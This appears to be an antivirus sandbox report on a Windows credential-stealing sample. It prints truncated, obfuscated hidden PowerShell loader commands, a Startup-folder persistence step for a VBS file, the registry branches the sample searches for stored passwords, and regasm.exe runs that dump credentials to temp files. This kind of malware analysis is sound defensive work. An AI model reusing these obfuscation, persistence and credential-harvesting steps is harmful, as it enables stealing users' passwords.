Exploit.Siggen3.33559

To ensure autorun and distribution

Creates or modifies the following files

Malicious functions

Executes the following (exploit)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle hidden $ErrorActionPreference = 'SilentlyContinue';$u0hj44tt = '[Enum]::ToObject([System.N' +'et.Securi' +'tyProto' +'colType], 3072)'|IEX;[System.Net.ServicePointManager]::Securit...

Injects code into

the following system processes:

Terminates or attempts to terminate

the following system processes:

Searches for registry branches where third party applications store passwords

[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Trillian]
[<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Internet Account Manager\Accounts]
[<HKCU>\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
[<HKCU>\Software\Microsoft\Internet Account Manager\Accounts]
[<HKCU>\Software\Paltalk]
[<HKCU>\Software\Google\Google Talk\Accounts]
[<HKCU>\Software\Mirabilis\ICQ\NewOwners]
[<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
[<HKLM>\Software\Wow6432Node\Mirabilis\ICQ\NewOwners]
[<HKCU>\Software\AIM\AIMPRO]
[<HKCU>\Software\America Online\AIM6\Passwords]
[<HKCU>\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users]
[<HKCU>\Software\Microsoft\IdentityCRL]
[<HKCU>\Software\Microsoft\MSNMessenger]
[<HKLM>\Software\Wow6432Node\Miranda]
[<HKCU>\Software\Yahoo\Pager]
[<HKCU>\Software\Microsoft\Windows Live Mail]

Reads files which store third party applications passwords

Modifies file system

Creates the following files

%TEMP%\hi4.vbs
%LOCALAPPDATA%\microsoft\windows\history\history.ie5\mshist012022060520220606\index.dat
%TEMP%\c1216607-16cb-4584-b765-aa30f52aeef3\agiledotnetrt64.dll
%TEMP%\516a774f-1e6e-4825-8b80-23ca122e6c50\agiledotnetrt64.dll
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
%TEMP%\dmrlzkkdfmzpxos

Modifies the following files

Network activity

Connects to

TCP

HTTP GET requests

Other

UDP

Miscellaneous

Searches for the following windows

Creates and executes the following

'<SYSTEM32>\wscript.exe' "%TEMP%\hi4.vbs"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Move-item '%TEMP%\hi4.vbs' -Destination '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hi4.vbs'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $t0='ZE95'.replace('Z','I').replace('95','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,011001...' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Move-item '%TEMP%\hi4.vbs' -Destination '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hi4.vbs'' (with hidden window)

Executes the following

'%ProgramFiles%\internet explorer\iexplore.exe' -Embedding
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $t0='ZE95'.replace('Z','I').replace('95','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,011001...
'%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe'
'%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' /stext "%TEMP%\dmrlzkkdfmzpxos"
'%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' /stext "%TEMP%\npfvadvftvrczugqbw"
'%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' /stext "%TEMP%\qjkobvgyhdjhjjcukhmni"